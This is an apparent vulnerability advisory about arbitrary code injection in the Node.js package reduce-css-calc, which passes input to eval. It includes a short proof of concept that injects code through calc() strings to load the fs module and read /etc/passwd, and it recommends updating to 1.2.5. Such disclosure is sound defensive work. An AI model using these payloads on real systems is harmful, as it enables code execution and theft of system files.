Lucene search

K
nodejsСковорода Никита АндреевичNODEJS:144
HistoryAug 25, 2016 - 1:21 p.m.

Arbitrary Code Injection

2016-08-2513:21:44
Сковорода Никита Андреевич
www.npmjs.com
25

EPSS

0.002

Percentile

56.6%

Overview

Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.

Proof of Concept

const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc(                       (fs['readFileSync']("/etc/passwd", "utf-8")))`));

Recommendation

Update to version 1.2.5 or later.

References

EPSS

0.002

Percentile

56.6%

Related for NODEJS:144